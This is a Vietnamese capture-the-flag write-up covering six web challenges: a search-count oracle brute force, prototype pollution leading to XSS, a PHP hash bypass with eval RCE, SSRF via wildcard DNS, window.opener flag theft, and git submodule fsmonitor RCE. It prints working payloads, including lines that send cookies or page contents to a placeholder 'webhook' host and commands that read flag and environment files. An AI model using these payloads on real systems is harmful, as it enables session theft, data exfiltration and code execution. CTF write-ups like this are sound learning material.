---
# System prepended metadata

title: LEAKCTF

---

# LEAKCTF
## FlagLeak
![image](https://hackmd.io/_uploads/BJLakUtUlg.png)
### Overview 
Đây là 1 trang web có chức năng tìm kiếm với từ khóa dài 3 kí tự . 
![image](https://hackmd.io/_uploads/HyYZ-UAUlx.png)
- Search thì nó trả về kết quả là số lượng bài post chứa từ khóa `count:matchingPost.length` 
- Ở API search thì sẽ tự động thay thế `*` đối với nội dung  **FLAG** trước khi nó trả về phản hồi
### Solve 
- Lỗi ở đây là a dev thực hiện tìm kiếm trước rồi mới thay thế nội dung flag 
- Dẫn đến ta có thể bruit force để có thể đoán ra từng kí tự của flag 
- Tuy nhiên không thế tùy tiện . Vì đây là thay thế từng kí tự **trong 3 kí tự** Vậy nên rất dễ có tình hướng xảy ra vòng lặp vô hạn ví dụ như 
    - abcabc 
![image](https://hackmd.io/_uploads/BytwE8R8le.png)
- Như Vậy ta sẽ luôn ở trong vòng lặp vô hạn khi tìm kiếm với dãy 3 kí tự
=> Để giải quyết vấn đề này code sao cho khi ta tìm kiếm hết tất cả rồi lấy kết quả trùng cuối cùng bới vị trí của flag ở cuối cùng 
![image](https://hackmd.io/_uploads/rkPJVUC8le.png)
### Conclusion 
BruitForce Cần có nhiều điều kiện để tránh rơi vào vòng lặp vô hạn
## NotoriousNote
![image](https://hackmd.io/_uploads/SJbFArtLgl.png)
### Overview 
XSS + Pollution Prototype
![image](https://hackmd.io/_uploads/rJsGwU0Igg.png)
- Chỉ đến giản là dữ liệu của ta đưa vào hàm sanitizeHTML 
- Nhìn vào cấu trúc thư mục => đây là chall về xss của app sau đó gửi cho bot để lấy cookie của bot cũng là flag 
![image](https://hackmd.io/_uploads/H19OPLRUll.png)
### Solve 
#### PHÂN TÍCH CODE 
![image](https://hackmd.io/_uploads/r1GqwD08ee.png)
=> Đây là đoạn code trính ra thuộc tính của đối tượng 
ví dụ đầu vào : 
`/?user.name=hxuu&user.age=23` 
thì sẽ xuất ra obj có dạng 
```code! 
{
  user: {
    name: "hxuu",
    age: 23
  }
}
```
=> có thể pollution prototype :alien: 
#### PHÂN TÍCH LÝ THUYẾT :abacus: 
1. Đối tượng trong javascript 
- Một đối tượng là tập hợp động các thuộc tính có kí hiệu như sau : `const obj = { key: "value" }`
- Thuộc tính của đối tượng thì chia làm hai loại là : 
    - Thuộc tính dữ liệu : `obj.key = "value"`
    - Thuộc tính truy cập : Giá trị được thay thế bằng hàm 
![image](https://hackmd.io/_uploads/BygRJwCUeg.png)
2. Các thuộc tính ẩn của đối tượng 
- Khi đối tượng khởi tạo ngoài thuộc tính người dùng định nghĩa còn có thuộc tính được cài đặt tự động để quản lí đối tượng 
    - [[Get]]: Xác định cách truy xuất giá trị của một thuộc tính.
    - [[Set]]: Xác định cách gán giá trị cho một thuộc tính.
    - [[Enumerable]]: Quyết định liệu một thuộc tính có được liệt kê trong các phép lặp như for...in hay không. 
3. Hàm cũng là 1 đối tượng 
- Hàm cũng có thuộc tính ẩn như : 
    - [[Call]]: Cho phép hàm được gọi như một hàm thông thường (ví dụ: myFunction()).
    - [[Construct]]: Cho phép hàm được sử dụng như một hàm khởi tạo (constructor) với từ khóa new
4. Kế thừa và chuỗi nguyên mẫu 
- Kế thừa được thực hiện thông qua prototype chain dùng để truy cập vào thuộc tính của đối tượng khác 
    - `[[GetPrototypeOf]]`: đây là phương thức nội tại trả về đối tượng nguyên mẫu nếu k có thì sẽ để null 
- Đối tượng nguyên mẫu (Prototype Object) : được trả về bởi `[[GetPrototypeOf]]` . Nếu không thấy thuộc tính trên đối tượng đó thì chuyển sang đối tượng khác cho đến khí thấy hoặc `null`
5. Thiết lập `[[Prototype]]` và `__proto__` 
- Trong JavaScript, `[[Prototype]]` có thể được sửa đổi thông qua thuộc tính `__proto__`
- Thuộc tính __proto__: Đây không phải là một thuộc tính dữ liệu thông thường mà là một thuộc tính truy cập **(accessor property)** được định nghĩa trên **Object.prototype**. Nó có cả **getter** và **setter**, cho phép:
    - Getter: Truy xuất giá trị của [[Prototype]].
    - Setter: Thay đổi giá trị của [[Prototype]].
![image](https://hackmd.io/_uploads/HkiOUvCUee.png)
#### PHÂN TÍCH HÀM `SanitizeHtml()` 
Ta thấy a dev để mặc định 
```code 
if (!options) {
    options = sanitizeHtml.defaults;
    options.parser = htmlParserDefaults;
}
```
```code!
if (options.allowedAttributes) {
    allowedAttributesMap = {};
    allowedAttributesGlobMap = {};
    each(options.allowedAttributes, function(attributes, tag) {
        allowedAttributesMap[tag] = [];
        var globRegex = [];
        attributes.forEach(function(obj) {
            if (isString(obj) && obj.indexOf("*") >= 0) {
                globRegex.push(quoteRegexp(obj).replace(/\\\*/g, ".*"));
            } else {
                allowedAttributesMap[tag].push(obj);
            }
        });
        allowedAttributesGlobMap[tag] = new RegExp("^(" + globRegex.join("|") + ")$");
    });
}
``` 
- `allowedAttributesMap`: direct attribute whitelists `(e.g. { img: ["src"] })`
- `allowedAttributesGlobMap`: regex-based wildcards `(e.g. { '*': /^(data-.*)$/ })`
Và sau đó là kiểm tra 
```code=
if (
    !allowedAttributesMap ||
    (has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
    (allowedAttributesMap["*"] && allowedAttributesMap["*"].indexOf(a) !== -1) ||
    (has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
    (allowedAttributesGlobMap["*"] && allowedAttributesGlobMap["*"].test(a))
) {
    passedAllowedAttributesMapCheck = true;
}
```
- Ta thấy `allowedAttributesMap["*"]` không kiểm tra thực sự `*` có phải của nó hay không 
=> sẽ ra sao nếu như ta ghi đè lên `*` và cho thẻ atri `onload` là hợp lệ 
=> Bên cạnh đó còn thấy được `iframe` không hề bị cấm trong đoạn dev 
#### Kết hợp lại với nhau 
Payload 
```code!
http://127.0.0.1:5000/?__proto__[*]=['onload']&note=<iframe onload="fetch('https://webhook?c='+document.cookie)"></iframe>
```
=>`**__proto__[*]=['onload']**`=>`**Object.prototype["*"]=['onload']**`=>`allowedAttributesMap` bị ghi đè thuộc tính `*` từ đó dẫn đến atr `onload` được đi qua và parse trong thẻ `iframe` => XSS
### Conclusion 
- Kết hợp xss
    - Bỏ qua thẻ `iframe`
- Pollution prototype  
    - Code js dẫn đến chèn được thuộc tính lạ vào quá dễ dàng
    - Không check `hasOwnProperty` 
    
  
    
## Certay-rev
![image](https://hackmd.io/_uploads/SkI_AStUgg.png)
### Overview
**Bypass authen + RCE**
![image](https://hackmd.io/_uploads/BkkK8Eyvel.png)
- Đây là chall về đăng nhập user 
- Bạn vào được phần dashboard sau đó thực thi mã tùy ý do untrusted data rơi vào hàm `eval()`
- ![image](https://hackmd.io/_uploads/SyMwPNJPeg.png)
### Solve 
#### PHÂN TÍCH CODE Authen
![image](https://hackmd.io/_uploads/SyYVo4JPxe.png)
- Với key là mảng thì `openssl_encrypt` sẽ trả về `null`
=> Như vậy với luận lí trên thì hàm `custom_sign` chứa đến hai giá trị `NULL` đó là hai giá trị cuối  
=> Vậy hash sẽ được quyết định bởi `msg`
#### Phân tích code check context trước khi rơi vào `eval`
![image](https://hackmd.io/_uploads/rycqTVywlg.png)
=> Tác giả miss 1 hàm đó là `call_user_func()` 
#### Tạo payload 
- Trước tiên là bypass authen đã . Ta sẽ tự tạo hash để trùng với hash mà đoạn mã check
```code!
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64

def generate_hash(msg):
    # Khóa 32 bytes (256 bits) rỗng cho AES
    key = b'\x00' * 32
    
    # IV rỗng 16 bytes cho AES-CBC
    iv = b'\x00' * 16
    
    # Tạo cipher object
    cipher = AES.new(key, AES.MODE_CBC, iv)
    
    # Padding message theo chuẩn PKCS7
    padded_msg = pad(msg.encode('utf-8'), AES.block_size)
    
    # Mã hóa
    encrypted = cipher.encrypt(padded_msg)
    
    # Encode base64 (tương tự như PHP openssl_encrypt trả về)
    hash_result = base64.b64encode(encrypted).decode('utf-8')
    
    return hash_result

# Tạo hash cho msg='asd'
msg = 'asd'
hash_result = generate_hash(msg)
print(f"Hash cho msg='{msg}': {hash_result}")

# Test với một số message khác
test_messages = ['hello', 'test', '123']
for test_msg in test_messages:
    print(f"Hash cho msg='{test_msg}': {generate_hash(test_msg)}")
```
- Để `iv` và `key` là `null` do trong đoạn code tác giả đã miss `$`
- ![image](https://hackmd.io/_uploads/Hy5vsp1wxg.png)
- ![image](https://hackmd.io/_uploads/rJFYo6JDxe.png)
=> Hash sẽ được quyết định bới `$msg`
=> Url: sẽ có dạng 
```code!
dashboard.php?msg=asd&key[]=&hash=Q4OOvv34fjwnsiOMHfHLLQ==
```
- Ở phía content thì sẽ là : 
```code! 
?><?php echo "foo";call_user_func('system','cat /tmp/flag.txt');
```
### Conclusion 
- Chú ý đến cách tạo hash 
- Fillter bằng black list lúc nào cũng sẽ sót `call_user_func`


 

## DNS Frenzy
![image](https://hackmd.io/_uploads/B1up0HK8xl.png)
### Overview
**SSRF**
#### PHÂN TÍCH CODE 
![image](https://hackmd.io/_uploads/rkrbVpevlx.png)
##### `core.py`
![image](https://hackmd.io/_uploads/B1NdXbMwle.png)
##### `main.py`
![image](https://hackmd.io/_uploads/B1egUzGPex.png)
### Solve 
- Check điều kiện quá yếu 
    - Địa chỉ ip để cụ thể .
    - Tên miền chỉ để chứa trong ... `in`
- Để thỏa mãn hai điều kiện dùng wildcard DNS service 
    - `127.0.0.1.dns_l3ak.ctf.nip.io => 127.0.0.1`
#### Payload 
- Comment: 
```python!
dig @34.134.162.213 -p 17004 127.0.0.1.dns_l3ak.ctf.nip.io TXT
```
- Code: 
```python
import dns.resolver

r = dns.resolver.Resolver()
r.nameservers = ["34.134.162.213"]
r.port = 17004
r.timeout = 60
r.lifetime = 60

response = r.resolve("127.0.0.1.dns_l3ak.ctf.nip.io", "A")
print(response.response.to_text())
```


## Window of opp
![image](https://hackmd.io/_uploads/BkVwRSFLlx.png)
### Overview 
**CSRF**
- Cấu trúc của bài 
```code
.
├── Dockerfile
├── index.js
├── package.json
├── package-lock.json
└── public
    ├── bg.jpg
    └── music.mp3

2 directories, 6 files
```
=> file chính là index.js
- Bài này về viễ giả mạo admin để gửi request đến server : Cụ thể là gửi request đến `/flag` (API nằm trong server ) 
- ![image](https://hackmd.io/_uploads/Hk6h2KSDgx.png)
- Vậy làm thế nào để vào được `/flag`
- Muốn đi vào `/flag` phải thỏa mãn 
    - Qua được `csrfProtection` 
    - Check **Token** vai trò là **admin** => Giả mạo token là bất khả thi vì Key đang khó
- LOGIC csrfProtection
- ![image](https://hackmd.io/_uploads/SyZ2WcrDgg.png)
- Vậy chỉ còn vướng mỗi kiểm tra token là ta có thể vào được `/flag` => Như đã nói ở trước fake token là không thể :cry: 
### Solve 
- Đoạn code của anh Dev có hai thứ để tạo ra được lỗ hỏng 
    - Anh dev tắt SOP 
        - ![image](https://hackmd.io/_uploads/Hy2Q56rvge.png)
    - Anh dev Dùng `window.open()` để truy cập đến trang web 
        - ![image](https://hackmd.io/_uploads/rym35arDlg.png)
        - [Đây là ví dụ của việc dùng `window.open()` để mở trang web khác](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-opener.gif)
        - Tuy nhiên nó chỉ đúng trong ngữ cảnh SOP bị tắt như trong chall này
#### Mô tả về window.opener
- Khi ta mở 1 trang web bằng `window.open` từ 1 trang tắt SOP . Nó sẽ lưu con trỏ tại trang tắt SOP .
- Thì tại trang web vừa mở đó dùng lệnh `window.opener.location = "http://challenge/get_flag";` tức là có thể truy cập ngược lại trang web vừa mở đó để lấy nội dung
=> Ta có thể truy cập từ trang A vào trang B mà không có sự ngăn cản nào . Thực hiện lấy nội dung của trang mục tiêu
#### Các bước tấn công 
1. Thực hiện truy cập ngược lại trang `window.opener.location = "http://challenge/get_flag";`
2. Đợi load flag rồi lưu vào biến 
3. Sau đó gửi ngược lại cho server của atk 
```code!
    const flagText = window.opener.document.body.innerText;
    fetch("https://webhook/?flag="+flagText);
```
4. Trang của atk để truy cập vào 
```code!
<!DOCTYPE html>
<html>
  <body>
    <script>
      // Redirect the original admin tab to /get_flag
      window.opener.location = "http://challenge/get_flag";

      // Wait for admin's tab to load, then steal the flag
      setTimeout(() => {
        try {
          const flagText = window.opener.document.body.innerText;

          fetch("https://webhook/?flag="+flagText);
        } catch (err) {
          console.error("Failed to read flag:", err);
        }
      }, 400);
    </script>
  </body>
</html>
```
- Luồng thực hiện để dễ hiểu hơn 
```code!
Admin bot
   ↓ opens attacker.html
Attacker tab
   → window.opener.location = /get_flag
   → waits...
   → reads window.opener.document.body.innerText
   → fetch('https://webhook.site?flag=...')
```
[video minh họa](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-exploit.gif)


### Conclusion
- Hãy lưu ý đến việc mở trang web bằng `window.open()`
- Bật SOP
- Dùng `window.opener` để khai thác CSRF
## GitBad
![image](https://hackmd.io/_uploads/r1hrArt8ll.png)
### Overview
![image](https://hackmd.io/_uploads/SySFupDDxx.png)
- Upload file zip
![image4](https://hackmd.io/_uploads/HkKlx-vvle.png)
#### Mục tiêu của lab
- ![image](https://hackmd.io/_uploads/SJqMWWwwll.png)
    - Chèn `flag` vào trong cơ sở dữ liệu 
    - Có vẻ là dùng NoSQL để leak được flag ra 
#### Một vài API quan trọng 
`/api/upload (POST)`
![image](https://hackmd.io/_uploads/ByeAQ2wwge.png)
`/api/search (GET)`
![image](https://hackmd.io/_uploads/r1ZdI2PPxx.png)
### Solve
#### SSRF
![image](https://hackmd.io/_uploads/B1XRD2vvle.png)
- điều đáng chú ý ở đây đó là `run_git_submodule_update`
- Ta có thực hiện query đến URL lạ nếu như có quyền chỉnh URL bên trong **git_submodule**
- Sau đây là đoạn test
- ![image](https://hackmd.io/_uploads/rklEYaPDlx.png)
- ![image](https://hackmd.io/_uploads/SkNBFaPvgx.png)
- ![image](https://hackmd.io/_uploads/Hy0It6Dweg.png)
- ![image](https://hackmd.io/_uploads/SJ9DFTvwgl.png)
Và kết quả sau khi upfile zip lên
- ![image](https://hackmd.io/_uploads/HJHYK6wDxl.png)
=> Đã gửi request được từ trong localhost 
#### RCE
- Tuy nhiên SSRF forr fun . Để giải được chall này thì ta sẽ dựa vào việc mà anh dev cập nhật các submodule 
```code=
def run_git_submodule_update(git_dir):
    """
    Runs git submodule update --init --recursive in the specified directory
    """
    try:
        result = subprocess.run(
            ['git', 'submodule', 'update', '--init', '--recursive'],
            cwd=git_dir,
            capture_output=True,
            text=True,
            timeout=10  
        )
        
        if result.returncode == 0:
            # Success
            output_msg = "Git submodules updated successfully!"
            if result.stdout.strip():
                output_msg += f"\nOutput: {result.stdout.strip()}"
            return {"success": True, "message": output_msg}
        else:
            error_msg = "Git submodule update failed"
            if result.stderr.strip():
                error_msg += f": {result.stderr.strip()}"
            return {"success": False, "error": error_msg}
            
    except subprocess.TimeoutExpired:
        return {"success": False, "error": "Git command timed out (>10 seconds)"}
    except FileNotFoundError:
        return {"success": False, "error": "Git is not installed on the server"}
    except Exception as e:
        return {"success": False, "error": f"Git command execution failed: {str(e)}"}

```
- Khi thực thi lệnh `git submodule update --init --recursive`
=> Sẽ thực thi được payload RCE
- Sau đây là các bước để tạo payload RCE 
```code= 
mkdir exploit && cd exploit
git init
touch README.md && git add README.md && git commit -m "init"
git config protocol.file.allow always => Thiết lập cấu hình Git cho phép sử dụng đường dẫn file (file://) làm URL submodule
mkdir sub && cd sub
git init 
touch hello && git add hello && git commit -m "sub init"
cd ..
git submodule add ./sub sub
nano sub/.git/config => thêm dòng này vào fsmonitor = "cat /proc/1/environ >&2 >/app/static/flag.txt; false"
cat sub/.git/config => check lại 
cd..
zip -r test.zip exploit
```
![image](https://hackmd.io/_uploads/H1_VMcFDgx.png)
- Như ta thấy thì fsmonitor sẽ thực hiện lệnh để RCE viết file ra thư mục con của app 
- ![image](https://hackmd.io/_uploads/ByQ5G9KPle.png)

### Conclusion 
- RCE thông qua `fsmonitor` nhờ vào việc update submodule => `git submodule update --init --recursive`
- SSRF bằng cách thay thế URL trong file config



## FlagGuessr
![image](https://hackmd.io/_uploads/ryzS0BFIxe.png)
 

